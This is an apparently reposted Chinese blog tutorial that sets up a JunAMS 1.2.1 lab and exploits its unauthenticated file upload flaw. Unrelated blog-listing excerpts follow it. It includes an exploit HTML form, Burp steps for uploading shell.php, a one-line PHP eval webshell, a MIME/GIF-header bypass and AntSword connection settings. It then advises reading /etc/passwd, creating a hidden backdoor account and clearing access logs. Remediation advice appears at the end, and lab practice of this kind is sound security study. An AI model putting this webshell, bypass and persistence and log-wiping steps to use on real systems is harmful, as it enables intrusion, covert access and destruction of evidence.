news 2026/4/22 21:57:25

别再只盯着后台了!用PHPStudy快速搭建JunAMS靶场,实战演练无权限文件上传漏洞的检测与利用

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
别再只盯着后台了!用PHPStudy快速搭建JunAMS靶场,实战演练无权限文件上传漏洞的检测与利用

从零构建JunAMS靶场:无权限文件上传漏洞的实战攻防演练

在网络安全领域,文件上传漏洞因其高危害性和易利用性,长期占据OWASP Top 10榜单。不同于需要后台权限的传统文件上传漏洞,无权限前台文件上传漏洞往往被开发者忽视,却可能成为系统沦陷的致命入口。本文将带您使用PHPStudy在Windows环境下快速搭建JunAMS 1.2.1漏洞靶场,通过完整攻击链演示如何检测、利用这类"隐形杀手"。

1. 环境搭建:五分钟构建真实漏洞场景

1.1 工具准备与基础配置

首先需要准备以下材料:

  • PHPStudy 8.1(推荐)或更新版本
  • JunAMS 1.2.1源码包
  • Burp Suite Community/Professional
  • 中国蚁剑(AntSword)最新版

关键配置步骤

  1. 解压PHPStudy后启动Apache+MySQL服务
  2. 将JunAMS源码放入WWW目录
  3. 访问http://localhost/install完成安装
  4. 删除install目录防止重复安装

注意:若安装后无法访问后台,尝试清除浏览器缓存或使用无痕窗口。部分环境需要手动配置public目录为网站根目录。

1.2 漏洞环境验证

通过以下命令验证环境是否正常:

curl -I http://localhost/admin.php

预期应返回200状态码。同时检查以下关键文件是否存在:

  • /application/common/controller/Common.php
  • /public/edit/目录可写权限

2. 漏洞原理深度剖析

2.1 ThinkPHP框架下的权限失控

JunAMS基于ThinkPHP 5.0开发,其漏洞本质是控制器权限校验缺失。对比传统文件上传漏洞,本案例的特殊性在于:

特征传统后台上传漏洞JunAMS前台上传漏洞
利用前提需要管理员权限无需任何认证
触发路径后台功能模块公共控制器方法
防御难度中等较高(易被忽视)

2.2 漏洞触发流程解析

漏洞发生在add_images方法中,其危险逻辑如下:

  1. 接收任意用户上传的文件
  2. 仅检查文件扩展名和MIME类型
  3. 未验证用户会话权限
  4. 直接保存文件到可访问目录
// 伪代码示例展示危险逻辑 public function add_images() { $file = request()->file('file'); $info = $file->validate(['ext'=>'jpg,png,gif'])->move('./edit'); if($info) { return json(['path'=>$info->getSaveName()]); } }

3. 实战攻击链构建

3.1 前端表单构造技巧

由于目标系统前台无上传界面,需要手动构造HTML表单:

<!-- 保存为exploit.html本地打开 --> <form enctype="multipart/form-data" action="http://localhost/admin.php/common/add_images.html" method="post"> <input type="file" name="file"> <input type="submit" value="上传Webshell"> </form>

关键修改点

  • actionURL替换为实际靶场地址
  • 保持name="file"与后端接收参数一致
  • 建议使用Firefox浏览器避免编码问题

3.2 BurpSuite拦截与绕过

当表单提交时,使用Burp Proxy拦截请求并做以下修改:

  1. 修改filename="shell.php"
  2. 确保Content-Type为application/x-php
  3. 写入经典一句话木马:
<?php @eval($_POST['ant']); ?>

提示:若遇到MIME类型检查,可尝试将Content-Type改为image/jpeg并添加GIF文件头GIF89a进行混淆。

3.3 蚁剑连接与权限维持

成功上传后,通过响应获取webshell路径:

http://localhost/public/edit/20220718/a1b2c3d4e5.php

中国蚁剑连接配置:

  • URL:上述webshell地址
  • 连接密码:ant(与POST参数一致)
  • 编码器选择default

连接成功后建议立即:

  1. 查看/etc/passwd确认权限
  2. 创建隐藏后门账户
  3. 清理访问日志

4. 防御体系构建与漏洞修复

4.1 临时防护方案

对于无法立即升级的系统,可采取以下紧急措施:

  1. 权限校验中间件
// 在Common控制器中添加 public function initialize() { if(!session('admin_id')) { $this->error('未经授权的访问'); } }
  1. 文件上传目录禁用PHP执行
<Directory "/var/www/html/public/edit"> php_flag engine off RemoveHandler .php </Directory>

4.2 长期安全建议

  • 升级到JunAMS最新版本(已修复CNVD-2020-24741)
  • 实施文件上传的深度检测:
    • 文件内容签名验证
    • 随机化存储文件名
    • 独立文件存储域

4.3 同类漏洞挖掘方法论

将本案例的检测思路应用于其他CMS审计时,重点关注:

  1. 未授权访问的公共控制器
  2. 继承链中缺失权限检查的方法
  3. 文件操作函数调用路径
  4. 特殊前缀路由(如/api/, /common/)
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/22 21:57:24

从录制到播放:手把手教你用rrweb-player打造一个交互式产品演示页面

从录制到播放&#xff1a;手把手教你用rrweb-player打造一个交互式产品演示页面 在数字营销和产品推广中&#xff0c;静态截图和GIF动画已经无法满足现代用户对交互体验的期待。想象一下&#xff0c;当潜在客户浏览你的官网时&#xff0c;能够像操作真实产品一样点击、滑动、输…

作者头像 李华
网站建设 2026/4/22 21:56:00

20年价格大反转:2006vs2026家电变迁,从奢侈品到日常标配

短短二十年&#xff0c;主流家电的价格实现了“逆袭式”巨变&#xff0c;从2006年全家省吃俭用才能拿下的“大件奢侈品”&#xff0c;变成2026年年轻人发工资就能随手购置的“日常标配”。这种价格反差的背后&#xff0c;不仅是行业的迭代&#xff0c;更藏着几代人的生活记忆&a…

作者头像 李华
网站建设 2026/4/22 21:55:38

第四章:Vue Router

核心目标&#xff1a;掌握单页面应用&#xff08;SPA&#xff09;的路由原理&#xff0c;实现复杂的嵌套路由管理&#xff0c;并利用导航守卫构建严密的权限控制体系。 &#x1f4cb; 本章核心知识点 知识点说明难度路由原理History API 与 Hash 模式的差异⭐⭐路由配置嵌套路…

作者头像 李华
网站建设 2026/4/22 21:55:36

第六章:vue网络请求与数据处理

核心目标&#xff1a;深入理解前端网络通信的底层机制&#xff0c;掌握 Axios 的二次封装技巧&#xff0c;构建统一的请求拦截器与错误处理体系&#xff0c;确保应用的健壮性与可维护性。 &#x1f4cb; 本章核心知识点 知识点说明难度Axios 核心特性为什么它是前端的首选⭐请…

作者头像 李华
网站建设 2026/4/22 21:50:29

护照扫描仪在金融行业的应用简述

金融行业适用场景&#xff1a;银行网点、外汇兑换点、跨境支付机构、证券公司、保险公司核心应用&#xff1a; 银行涉外开户&#xff1a;外籍客户办理银行卡时&#xff0c;快速读取护照信息并完成KYC核验外币兑换&#xff1a;扫描护照自动采集身份信息&#xff0c;辅助完成兑换…

作者头像 李华